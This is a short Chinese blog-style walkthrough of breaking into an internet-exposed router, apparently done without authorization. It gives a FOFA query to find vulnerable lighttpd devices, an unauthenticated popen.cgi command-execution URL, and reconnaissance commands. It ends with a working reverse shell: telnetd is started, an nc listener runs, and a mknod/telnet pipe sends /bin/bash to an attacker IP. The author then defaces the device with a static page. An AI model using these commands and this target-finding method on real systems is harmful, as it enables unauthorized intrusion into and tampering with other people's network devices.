一次路由器Getshell
访问到路由器web页面
fofa搜索:title="index" && header="lighttpd/1.4.30",lighttpd是一个轻量级的服务器中间件


命令注入
发现cgi-bin页面,引发命令注入,这里发现不需要注入,直接执行了命令
https://x.x.x.x:8090/cgi-bin/popen.cgi?command=ls&v=0.1303033443137912

获取信息:
/cgi-bin/popen.cgi?command=uname -a&v=0.1303033443137912,发现一个MIPS的Linux系统,显然的嵌入式设备了

/cgi-bin/popen.cgi?command=ls /www&v=0.1303033443137912,发现这个web应用居然是用纯html+js写的,无语了🤣,后续Getshell有点麻烦了

反弹shell
既然可以命令注入,那么首先就是想到反弹shell,这里笔者走了许多弯路
尝试nc反弹shell
执行命令/cgi-bin/popen.cgi?command=nc&v=0.1303033443137912

发现出现了BusyBox字样,笔者此时对其不太了解,先学习一下:
原来是是嵌入式里的命令行系统软件,相当于一个精简版的Linux shell,其中的nc命令都是被阉割的,于是首先想到能否弄一个完整版的的nc,于是测试是否有yum、apt命令,和想的差不多,没有哈哈😒,只有一个wget命令,那么能不能wget一个nc,然后自己编译呢,于是试试,
/cgi-bin/popen.cgi?command=wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
结果不支持,真无语,以前没搞过嵌入式设备,无奈放弃🤣


柳暗花明-telnet反弹Shell
在查阅路由器如何反弹shell时,无意间看到了这样一句话

好家伙,直接弹弹弹!
开启telnet:
/cgi-bin/popen.cgi?command=telnetd&v=0.1303033443137912攻击机上启监听:
nc -lvvp
弹shell:分两次执行
mknod a ptelnet x.x.x.x 5555 0<a | /bin/bash 1>a (x.x.x.x为攻击机ip)

监听到了,反弹成功!

第一次拿到路由器系统的说,插个静态网页试试。

当然最后清除了😋